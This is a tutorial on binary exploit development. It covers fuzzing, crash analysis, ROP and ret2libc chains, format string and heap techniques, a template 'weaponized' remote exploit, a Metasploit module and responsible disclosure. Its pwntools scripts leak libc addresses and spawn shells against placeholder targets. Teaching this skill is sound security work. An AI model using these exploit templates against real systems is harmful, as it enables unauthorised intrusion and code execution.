By Davy Rogers. Use these techniques only in environments you own or have explicit permission to test.

Exploit Development

Exploit Development is the process of creating working exploits for vulnerabilities. It combines knowledge of assembly, debugging, reverse engineering, and creative problem-solving to turn security flaws into reliable attacks. This lesson covers the exploit development lifecycle, techniques, tools, and methodologies.

What You'll Learn

  • Exploit development lifecycle
  • Vulnerability analysis
  • Reverse engineering basics
  • Debugging and dynamic analysis
  • Writing proof-of-concept exploits
  • Exploit reliability and portability
  • Bypassing security mitigations
  • Fuzzing for vulnerabilities
  • Weaponizing exploits
  • Responsible disclosure

Exploit Development Lifecycle

The Process

1. Vulnerability Discovery
   ↓
2. Vulnerability Analysis
   ↓
3. Proof of Concept (PoC)
   ↓
4. Exploit Development
   ↓
5. Exploit Refinement
   ↓
6. Testing and Validation
   ↓
7. Weaponization (or Disclosure)

Vulnerability Discovery

1. Source Code Analysis

Manual Review:

// Look for dangerous patterns
strcpy(buffer, user_input);    // No bounds checking
gets(buffer);                  // Dangerous function
sprintf(buffer, "%s", input);  // Format string
system(user_cmd);              // Command injection

Automated Tools:

# Static analysis
cppcheck source.c
flawfinder source.c
rats source.c

# Scan for patterns
grep -r "strcpy\|gets\|sprintf" .

2. Binary Analysis

Without source code:

# Disassemble binary
objdump -d binary
radare2 binary
ghidra binary

# Look for:
- Unsafe functions
- Integer overflows
- Format string bugs
- Use-after-free

3. Fuzzing

Automated input testing:

# AFL (American Fuzzy Lop)
afl-gcc -o target target.c
afl-fuzz -i input_dir -o output_dir ./target @@

# Radamsa
radamsa samples/* | ./target

# Peach Fuzzer
# For complex protocols

# Honggfuzz
honggfuzz -i input_corpus -o output -- ./target ___FILE___

Vulnerability Analysis

Understanding the Bug

Key Questions:

  1. What type of vulnerability?
  2. What can be controlled?
  3. What are the constraints?
  4. What protections are enabled?
  5. What's the attack surface?

Checking Protections

# Linux - checksec
checksec --file=binary

# Output:
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE

# Windows - PESecurity
Get-PESecurity -file binary.exe

# Manual check
readelf -l binary | grep GNU_STACK
rabin2 -I binary

Protections:

  • NX/DEP: Non-executable stack
  • ASLR: Address randomization
  • Stack Canary: Buffer overflow protection
  • PIE: Position Independent Executable
  • RELRO: Read-only relocations
  • CFG: Control Flow Guard (Windows)

Proof of Concept Development

PoC Goals

  1. Demonstrate vulnerability exists
  2. Show impact (crash, control flow)
  3. Minimal, reproducible
  4. Safe (no malicious payload)

Example PoC

#!/usr/bin/env python3
"""
Proof of Concept for Buffer Overflow in vulnerable_app v1.0
Tested on: Ubuntu 20.04 x64
Author: Security Researcher
Date: 2024-01-01

Vulnerability: Stack-based buffer overflow in process_input()
Impact: Denial of Service (crash)
"""

import socket

# Target
HOST = "192.168.1.100"
PORT = 9999

# Create crash PoC
payload = b"A" * 1000

# Send payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(payload)
s.close()

print("[+] PoC sent - Target should crash")

Exploit Development Process

Step 1: Crash Analysis

# Run under debugger
gdb ./vulnerable

# Capture crash
run $(python -c 'print "A" * 1000')

# Examine crash
info registers
backtrace
x/100x $rsp

Identify:

  • Crash type (segfault, access violation)
  • Controlled registers
  • Overwritten data

Step 2: Control Flow Hijacking

Goal: Control instruction pointer (EIP/RIP)

# Find offset to return address
from pwn import *

# Generate pattern
pattern = cyclic(1000)

# Send pattern
# ...

# Crash shows RIP = 0x6161616c ('laaa')
offset = cyclic_find(0x6161616c)
print(f"Offset: {offset}")

# Verify control
payload = b"A" * offset + p64(0x4141414141414141)
# RIP should be 0x4141414141414141

Step 3: Finding Gadgets

For ROP (when NX enabled):

# ROPgadget
ROPgadget --binary vulnerable | grep "pop rdi"

# Ropper
ropper --file vulnerable --search "pop rdi"

# radare2
r2 vulnerable
/R pop rdi; ret

# Common gadgets:
pop rdi; ret           # Set first argument
pop rsi; pop r15; ret  # Set second argument
pop rdx; ret           # Set third argument
syscall; ret           # Make syscall

Step 4: Building Exploit

#!/usr/bin/env python3
from pwn import *

# Configuration
binary = './vulnerable'
elf = ELF(binary)
rop = ROP(elf)

# Addresses
system_plt = elf.plt['system']
bin_sh = next(elf.search(b'/bin/sh'))
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

# Build exploit
offset = 72
payload = flat([
    b'A' * offset,
    pop_rdi,
    bin_sh,
    system_plt
])

# Launch
if args.REMOTE:
    p = remote('target.com', 9999)
else:
    p = process(binary)

p.sendline(payload)
p.interactive()

Advanced Techniques

1. Ret2libc

Call libc functions without shellcode:

# Find libc base
libc_base = leak_function - libc.symbols['function']

# Calculate addresses
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

# Build ROP chain
payload = flat([
    b'A' * offset,
    pop_rdi,
    bin_sh_addr,
    system_addr
])

2. Information Leak

Leak addresses to bypass ASLR:

# Stage 1: Leak libc address
payload1 = flat([
    b'A' * offset,
    pop_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    main_addr  # Return to main
])

p.sendline(payload1)
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

# Stage 2: Execute with known addresses
# ... build final exploit

3. Stack Pivot

Move stack to controlled memory:

# Find stack pivot gadget
# xchg rsp, rax; ret
# mov rsp, rax; ret

pivot_gadget = 0x40123456

payload = flat([
    b'A' * offset,
    pop_rax,
    controlled_memory,
    pivot_gadget,
    # Now ROP chain continues from controlled_memory
])

4. Format String Exploitation

Read/Write arbitrary memory:

# Read memory
payload = b"%3$p"  # Read 3rd argument

# Write memory
payload = b"%10$n"  # Write to address at 10th argument

# Leak stack canary
payload = b"%13$p"  # If canary at offset 13

# Write specific value
# Write 0x41414141 to address
addr = p32(target_addr)
payload = addr + b"%4094x%10$n"  # 4094 + 4 = 4098 = 0x1002

5. Heap Exploitation

Heap overflow, use-after-free:

# Heap overflow
# Overwrite next chunk metadata
payload = b'A' * size + p64(size) + p64(flags)

# Use-after-free
# 1. Allocate object
obj1 = malloc(128)

# 2. Free object
free(obj1)

# 3. Allocate new object (reuses memory)
obj2 = malloc(128)

# 4. Use old pointer (obj1)
# Points to obj2's memory!

Fuzzing for Vulnerabilities

AFL (American Fuzzy Lop)

# Install
sudo apt install afl++

# Compile with AFL
afl-gcc -o target target.c

# Create input directory
mkdir input
echo "AAAA" > input/test.txt

# Fuzz
afl-fuzz -i input -o output -m none ./target @@

# Monitor crashes
ls output/crashes/

# Reproduce crash
./target output/crashes/id:000000,sig:11,src:000000,op:flip1,pos:0

LibFuzzer

// fuzzer.c
#include <stdint.h>
#include <stddef.h>

// Vulnerable function
void process(const uint8_t *data, size_t size) {
    char buffer[64];
    if (size > 64) {
        memcpy(buffer, data, size);  // Overflow!
    }
}

// Fuzz target
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    process(data, size);
    return 0;
}
# Compile
clang -fsanitize=fuzzer,address fuzzer.c -o fuzzer

# Run
./fuzzer

# Crashes saved automatically

Exploit Reliability

Making Exploits Robust

# 1. NOP Sled (landing zone)
nops = b'\x90' * 100

# 2. Multiple return addresses
# Spray stack with return addresses
rets = p64(target_addr) * 10

# 3. Heap Spray (web browsers)
# Allocate many objects with payload
for i in range(1000):
    obj = allocate_object()
    obj.data = nops + shellcode

# 4. Error handling
try:
    p.sendline(payload)
    p.recv()
except:
    log.error("Exploit failed")

Weaponization

From PoC to Exploit

#!/usr/bin/env python3
"""
Exploit for CVE-XXXX-YYYY
Target: Application v1.0
Platform: Linux x64
"""

from pwn import *
import argparse

class Exploit:
    def __init__(self, target, port):
        self.target = target
        self.port = port
        
    def build_payload(self, callback_ip, callback_port):
        # Generate shellcode
        shellcode = asm(shellcraft.amd64.linux.sh())
        
        # Build exploit
        payload = flat([
            b'A' * self.offset,
            self.ret_addr,
            b'\x90' * 100,
            shellcode
        ])
        return payload
    
    def exploit(self, callback_ip, callback_port):
        log.info(f"Exploiting {self.target}:{self.port}")
        
        # Connect
        p = remote(self.target, self.port)
        
        # Send payload
        payload = self.build_payload(callback_ip, callback_port)
        p.sendline(payload)
        
        # Interactive shell
        p.interactive()

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('target', help='Target IP')
    parser.add_argument('port', type=int, help='Target port')
    parser.add_argument('--lhost', required=True, help='Callback IP')
    parser.add_argument('--lport', type=int, default=4444, help='Callback port')
    args = parser.parse_args()
    
    exploit = Exploit(args.target, args.port)
    exploit.exploit(args.lhost, args.lport)

Metasploit Module Development

Creating MSF Module

##
# Exploit for Vulnerable App 1.0
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnerable App 1.0 Stack Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in Vulnerable App 1.0
      },
      'Author'         => ['Your Name'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-1234'],
          ['URL', 'https://vulnerable-app.com']
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          ['Ubuntu 20.04 x64', { 'Ret' => 0x080484b0 }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 01 2024'
    ))

    register_options([
      Opt::RPORT(9999)
    ])
  end

  def check
    # Check if target is vulnerable
    connect
    sock.put("TEST\n")
    res = sock.get_once
    disconnect
    
    if res && res.include?("Vulnerable App 1.0")
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    # Build exploit
    buffer = "A" * 1000
    buffer << [target.ret].pack('V')
    buffer << payload.encoded

    # Send exploit
    connect
    sock.put(buffer)
    handler
    disconnect
  end
end

Practical Examples

Example 1: Stack Overflow Exploit

#!/usr/bin/env python3
from pwn import *

context(arch='amd64', os='linux')

# Target
binary = './vuln'
elf = ELF(binary)

# Gadgets
pop_rdi = 0x00401123
ret = 0x00401016

# Libc functions
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

# Start process
if args.REMOTE:
    p = remote('target.com', 1337)
else:
    p = process(binary)

# Stage 1: Leak libc
log.info("Stage 1: Leaking libc address")
payload1 = flat([
    b'A' * 72,
    pop_rdi,
    puts_got,
    puts_plt,
    main
])

p.sendline(payload1)
p.recvuntil(b'> ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"Puts leak: {hex(leak)}")

# Calculate libc base
libc = ELF('./libc.so.6')
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")

# Stage 2: Spawn shell
log.info("Stage 2: Spawning shell")
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

payload2 = flat([
    b'A' * 72,
    ret,  # Stack alignment
    pop_rdi,
    binsh,
    system
])

p.sendline(payload2)
p.interactive()

Example 2: Format String Exploit

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

p = process('./format_vuln')

# Leak canary
payload = b"%15$p"
p.sendline(payload)
canary = int(p.recvline().strip(), 16)
log.success(f"Canary: {hex(canary)}")

# Overwrite GOT entry
target = 0x0804a018  # GOT entry
shellcode_addr = 0x0804c000

# Write address byte by byte
# (Format string write technique)
writes = {target: shellcode_addr}
payload = fmtstr_payload(6, writes)

p.sendline(payload)
p.interactive()

Responsible Disclosure

Disclosure Process

1. Discover vulnerability
   ↓
2. Create PoC (no weaponization yet)
   ↓
3. Contact vendor privately
   ↓
4. Allow 90 days for patch
   ↓
5. Coordinate disclosure
   ↓
6. Public disclosure (with patch available)

Disclosure Report Template

VULNERABILITY REPORT

Product: Application Name v1.0
Vendor: Company Name
Severity: High
Vulnerability Type: Stack-based Buffer Overflow

SUMMARY:
A stack-based buffer overflow exists in the process_input()
function, allowing remote code execution.

AFFECTED VERSIONS:
- Version 1.0
- Version 0.9

VULNERABILITY DETAILS:
The vulnerable function fails to validate input length before
copying to a fixed-size buffer.

PROOF OF CONCEPT:
[Attach PoC that demonstrates crash only]

IMPACT:
Remote Code Execution with privileges of the application.

RECOMMENDED FIX:
1. Validate input length
2. Use safe string functions (strncpy)
3. Enable stack canaries

TIMELINE:
2024-01-01: Vulnerability discovered
2024-01-02: Vendor notified
2024-01-05: Vendor confirmed
2024-03-01: Patch released
2024-03-05: Public disclosure

REFERENCES:
CVE-XXXX-YYYY

Tools and Frameworks

Essential Tools

# Debuggers
gdb + pwndbg/gef          # Linux
Immunity Debugger          # Windows
WinDbg                    # Windows
x64dbg                    # Windows

# Disassemblers
IDA Pro                   # Commercial
Ghidra                    # Free (NSA)
radare2                   # Open source
Binary Ninja              # Commercial

# Frameworks
Metasploit                # Exploitation framework
pwntools                  # Python exploit framework
ROPgadget                 # ROP chain generator
ropper                    # ROP tool

# Fuzzers
AFL++                     # Coverage-guided fuzzer
libFuzzer                 # In-process fuzzer
Honggfuzz                 # Feedback-driven fuzzer
Peach Fuzzer              # Protocol fuzzer

Quick Reference

# pwntools basics
from pwn import *

# Connect
p = remote('target.com', 1337)
p = process('./binary')

# Send/Receive
p.sendline(data)
p.recv()
p.recvline()
p.recvuntil(b'> ')

# Pack/Unpack
p32(0x41414141)  # 32-bit little-endian
p64(0x4141414141414141)  # 64-bit
u32(data)
u64(data)

# Flat payload
payload = flat([
    b'A' * offset,
    address,
    data
])

# Shellcode
shellcode = asm(shellcraft.amd64.linux.sh())

# Interactive
p.interactive()

# ROP
elf = ELF('./binary')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

Resources

Practice

  • OverTheWire: Narnia, Behemoth
  • HackTheBox: Pwn challenges
  • TryHackMe: Exploit development rooms
  • Exploit Education: Phoenix, Fusion
  • pwnable.kr: Pwn challenges

Application Security:

Learning

  • Corelan Exploit Writing Tutorials
  • Offensive Security: Advanced Windows Exploitation (AWE)
  • OpenSecurityTraining: Exploits 1 & 2
  • Modern Binary Exploitation (RPI)

Next Steps

  1. Master assembly (x86/x64)
  2. Learn debugging deeply (GDB, WinDbg)
  3. Practice on CTFs regularly
  4. Study security mitigations and bypasses
  5. Contribute to bug bounties responsibly

Exploit development combines creativity with technical skill. Master these fundamentals to build advanced exploitation capabilities!


"Exploit development: Turning 'It's a feature' into 'It's a vulnerability.'"